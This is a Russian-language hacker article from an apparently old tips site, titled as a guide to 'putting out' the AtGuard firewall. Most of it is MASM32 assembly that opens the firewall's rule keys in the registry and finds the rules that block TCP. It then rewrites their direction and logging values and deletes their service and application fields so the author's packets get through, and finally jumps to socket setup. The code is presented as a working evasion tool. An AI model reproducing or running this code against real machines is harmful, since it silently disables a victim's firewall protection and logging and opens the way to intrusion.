RTFM! статьи, советы, скрипты
::Заработок с помощью сайта ::JScript по-русски! ::Все русские мануалы::
МЕНЮ
О САЙТЕ
НОВОСТИ
СТАТЬИ
КНИГИ
АППЛЕТЫ
СВЯЗЬ

СЧЕТЧИКИ
Rambler's Top100
Рейтинг@Mail.ru
Яндекс цитирования

"Тушим" FireWall

Автор: tANDm Сайт: http://www.nsd.ru     Рейтинг: N/A из 7       <<НАЗАД
   
   Все начиналось с того, что я однажды родился. Я очень скоро узнал, что все на свете мне нельзя. Нельзя похачить мне сервак, нельзя использовать мне Napster, и нельзя на километр приближаться к Биллу Гейтсу ..... =)
   
   Как сказал Гагарин - ПОЕХАЛИ !
   
   Сегодня мой маленький друг я расскажу тебе сказку о .... Хотя ты уже должен был бы подрасти, если конечно читал мои прошлые статьи =). Ну да ладно, сегодня я поведую вам о том, как обойти AtGuard-a ( есть такой firewall) ). Достаточно известная вещь и многие им пользуются. В статье я приведу пример своего кода на языке АССЕМБЛЕР, а именно MASM32. Хочу сразу сказать, что учу я его не давно, так же как и WIN API функции, и если вы вдруг найдете у меня ошибки, то сообщите мне о них. И вот еще,не надо мне писать, что мой код не оптимизирован, я это сам знаю, это было сделанно для простоты его понимания.
   
   AtGuard в своей работе очень активно использует реестр, ( я это выяснил с помощью утилиты Regmon ) все свои настройки он содержит там, в том числе и FireWall Rule. В реестре это выглядит примерно так:
   
   -IPFilterRules
   |
   |---Rule0
   |---Rule1
   |---Rule2
   |---Rule3
   |---Rule4
   
   В каждом из этих RuleXX содержится информация о том, какие пакеты могут проходить через firewall, а какие нет. Основные вещи которые нас интересуют в этих Rule:
   -- RuleAction ( запрет/разрешение на прохождение пакетов )
   и
   -- RuleProtocol ( отвечает за используемый протокол для этого Rule )
   
   Если при сканирование этих параметров мы встретим RuleAction раным 2, а RuleProtocol равным 6 то это то что на надо ! Далее, мы изменяем/стираем некоторые значения, для того что бы наши пакеты могли проходить сквозь firewall.А вот собственно и сам код:
   
   .data
   
   RuleAction db "RuleAction",0 ; см. выше
   RuleDirect db "RuleDirection",0 ; Направление пакетов
   RuleProt db "RuleProtocol",0 ; см. выше
   RuleLog db "RuleLogging",0 ; Запись в лог
   RuleLocal db "RuleLocalServiceObject",0 ; Local Service
   RuleRemote db "RuleRemoteServiceObject",0 ; Remote Service
   RuleApp db "RuleApplicationObject",0 ; Какая программа это правило использует
   
   dwRuleDir dd 00000003H
   dwRuleLog dd 00000000H
   
   ReeFltPath db "Software\WRQ\IAM\FirewallObjects\IPFilterRules\",0
    ;Путь по дефаулту до firewalla в реестре
   dwIndex dd 0
   lpszName db 50 dup(?)
   dwNameLen dd SIZEOF lpszName
   NewKey dd ?
   ReeSizeDW dd ?
   ReeGotcha dd ?
   phKey dd ?
   lpdwDisp dd ?
   ReeSizeDW dd ?
   DWSize equ 4
   
   .code
   
   ;
   ; Открываем ключ в реестре ..... IPFilterRules\
   ;
   
   invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, ADDR ReeFltPath, NULL,
    KEY_ALL_ACCESS, ADDR phKey
   .IF eax == ERROR_SUCCESS
   
   ;
   ; Функиця перечисляет подключи указанного открытого ключа ( Rule1, Rule2 .... )
   ;
   
   Recycle:
   mov dwNameLen,50
   invoke RegEnumKeyEx, phKey, dwIndex, ADDR lpszName,
    ADDR dwNameLen, NULL, NULL, NULL, NULL
   .IF eax != ERROR_NO_MORE_ITEMS
   inc dwIndex
   
   ;
   ; Открываем найденный ключ
   ;
   
   FuckGuard:
   invoke RegOpenKeyEx, phKey, ADDR lpszName, NULL, KEY_ALL_ACCESS, ADDR NewKey
   .IF eax == ERROR_SUCCESS
   mov eax,REG_DWORD
   mov lpdwDisp,eax
   
   ;
   ; и проверяем значения
   ;
   
   invoke RegQueryValueEx, NewKey, ADDR RuleAction, NULL, ADDR lpdwDisp,
    ADDR ReeGotcha, ADDR ReeSizeDW
   mov eax,ReeGotcha
   .IF eax == 2
   invoke RegQueryValueEx, NewKey, ADDR RuleProt, NULL, ADDR lpdwDisp,
    ADDR ReeGotcha, ADDR ReeSizeDW
   mov eax,ReeGotcha
   .IF eax == 6
   
   ;
   ; ( MessageBox тут для дебага =)
   ;
   
   invoke MessageBox, NULL, ADDR lpszName, ADDR AppName, MB_OK
   
   ;
   ; Если нам все подошло, то немного отредактируем некоторые значени ..
   ;
   
   invoke RegSetValueEx, NewKey, ADDR RuleDirect, NULL, REG_DWORD_LITTLE_ENDIAN,
    ADDR dwRuleDir,DWSize
   invoke RegSetValueEx, NewKey, ADDR RuleLog, NULL, REG_DWORD_LITTLE_ENDIAN,
    ADDR dwRuleLog,DWSize
   invoke RegDeleteValue, NewKey, ADDR RuleLocal
   invoke RegDeleteValue, NewKey, ADDR RuleRemote
   invoke RegDeleteValue, NewKey, ADDR RuleApp
   invoke RegCloseKey, NewKey
   invoke RegCloseKey, phKey
   jmp InitSocket
   
   ;
   ; и на выход
   ;
   
   .ENDIF
   .ENDIF
   .ENDIF
   invoke RegCloseKey, NewKey
   
   ;
   ; Если ничего не нашли в одном из Rule то идем на следующий
   ;
   jmp Recycle
   .ENDIF
   invoke RegCloseKey, phKey
   .ENDIF
   
   
   [+] Я рад что работает =)
   [-] Почему то все начинает работать только после ребута
   
   


<<НАЗАД      ОЦЕНИТЬ СТАТЬЮ    ВЕРСИЯ ДЛЯ ПЕЧАТИ>>
Статья прочитана :  раз.




пейкюлю



 
 
 
 
 
pauk ©® 2000-2015. All rights reserved.
При перепечатке ссылка на сайт и указание обязательны.
Мнение администрации сайта не всегда совпадает с мнением автора.
Орфография и пунктуация - авторские.
Администрация не несет никакой ответственности за использование материалов.
.
Protected by Copyscape DMCA Takedown Notice Infringement Search Tool